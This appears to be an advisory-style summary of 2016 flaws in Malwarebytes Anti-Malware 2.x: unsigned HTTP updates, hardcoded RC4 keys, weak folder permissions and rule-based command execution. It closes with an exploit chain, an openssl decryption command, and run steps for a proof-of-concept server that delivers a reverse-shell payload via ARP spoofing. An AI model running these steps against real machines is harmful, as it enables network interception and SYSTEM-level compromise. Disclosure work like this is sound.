    [+] Summary :  This refers to older research from 2016, when Google’s
    Project Zero discovered multiple security issues in MalwareBytes
                   Malwarebytes Anti-Malware (version 2.x) suffered from a
    combination of security flaws that allowed attackers to remotely tamper with
                   definition/configuration updates, achieving code execution
    and privilege escalation to SYSTEM.
    
    The update mechanism downloaded YAML configuration and definition
    files over HTTP without any digital signature. These files were
    encrypted with hardcoded RC4 keys without authentication, allowing
    attackers to decrypt, modify, and re-encrypt them.
    
    Additionally, weak filesystem ACLs allowed unprivileged users to
    modify Malwarebytes definition files inside %PROGRAMDATA%, leading to
    local privilege escalation (SYSTEM).
    
    Some internal scripting rules (TXTREPLACE and ACTION sequences) were
    context-insensitive and allowed direct execution of attacker-supplied
    code.
    
    All issues were fixed in Malwarebytes’ February 2016 release.
    
    --------------------------------------------------------------------
    2. Technical Details
    --------------------------------------------------------------------
    2.1 Unsigned HTTP Updates
    -------------------------
    Malwarebytes retrieved update packages over plaintext HTTP:
    
        http://data-cdn.mbamupdates.com/
    
    Because the channel was not secured and the data was not signed,
    attackers could perform MITM attacks and replace downloadable
    definition and configuration files.
    
    2.2 Definition Tampering via RC4
    --------------------------------
    The definition files (rules.ref, net.conf) use symmetric RC4 with a
    hardcoded key. RC4 does not authenticate data; therefore, after
    decryption, modification, and re-encryption, Malwarebytes accepts
    malicious content as valid.
    
    Example (decrypt to plaintext):
    
        openssl enc -rc4 -d -nosalt -in rules.ref -K <RC4KEY> | zlib-flate
    -uncompress
    
    2.3 Weak Filesystem ACLs (Privilege Escalation)
    -----------------------------------------------
    The Malwarebytes installation directory within %PROGRAMDATA% allowed
    non-admin users to modify files. Example ACL permissions showed that
    Users had Write and Add privileges.
    
    Exploiting local filesystem access allowed arbitrary replacement of
    update files, elevating privileges to SYSTEM after the next scan.
    
    2.4 Execution via TXTREPLACE and ACTIONS
    ----------------------------------------
    TXTREPLACE and custom ACTION handlers in rules allowed automatic
    execution of attacker-controlled commands (VBScript, BAT, Registry
    modification, etc.).
    
    This bypassed trust boundaries and allowed remote code execution during
    scanning.
    
    --------------------------------------------------------------------
    3. Exploit Chain Overview
    --------------------------------------------------------------------
    An attacker would:
    
    1) MITM Malwarebytes HTTP requests
    2) Serve tampered encrypted definition files
    3) Modify TXTREPLACE or ACTION entries
    4) Execute malicious commands
    5) Achieve SYSTEM privilege locally
    
    Alternatively, a local user could directly overwrite files in
    %PROGRAMDATA% due to weak ACLs.
    
    --------------------------------------------------------------------
    4. PoC Overview
    --------------------------------------------------------------------
    A working exploit was published which:
    
    - Hosts a malicious HTTP server
    - Delivers tampered and re-encrypted update files
    - Injects malicious ACTION/TXTREPLACE rules
    - Achieves code execution or reverse shell
    - Escalates privileges via SYSTEM-owned service
    
    The PoC demonstrates full exploitation with no user interaction.
    
    --------------------------------------------------------------------
    5. Vendor Response
    --------------------------------------------------------------------
    Malwarebytes acknowledged all issues and pushed security fixes in
    February 2016. Transport security and digital signing were added to
    update mechanisms.
    
    --------------------------------------------------------------------
    6. Timeline
    --------------------------------------------------------------------
    2015     – Issues discovered & reported privately
    2016-02  – Public disclosure and patch availability
    2016-02  – Vendor advisory published
    
    --------------------------------------------------------------------
    7. Affected Versions
    --------------------------------------------------------------------
    Malwarebytes Anti-Malware 2.x prior to February 2016 updates.
    
    --------------------------------------------------------------------
    8. Impact Assessment
    --------------------------------------------------------------------
    - Code Execution (remote and local)
    - Privilege Escalation (SYSTEM)
    - Update Tampering
    - Policy Bypass
    - Persistent Compromise
    
    --------------------------------------------------------------------
    9. Recommendations
    --------------------------------------------------------------------
    - Always sign definition/configuration packages
    - Enforce TLS integrity checking
    - Remove symmetric unauthenticated RC4 usage
    - Harden filesystem ACLs
    - Sanitize parsing logic of TXTREPLACE/ACTION rules

    --------------------------------------------------------------------
    11. Saving & Running PoC Instructions
    --------------------------------------------------------------------
    (1) Save the PoC exploit server as:
        mbam_poc_server.py
    
    (2) Start MITM or network interception:
        python mbam_poc_server.py --listen <port> --payload <reverse_shell>
    
    (3) Redirect target traffic:
        arpspoof / bettercap / mitmproxy
    
    (4) When Malwarebytes performs update:
        The malicious RC4-encrypted rules are delivered.
    
    (5) Reverse shell or payload triggers automatically.
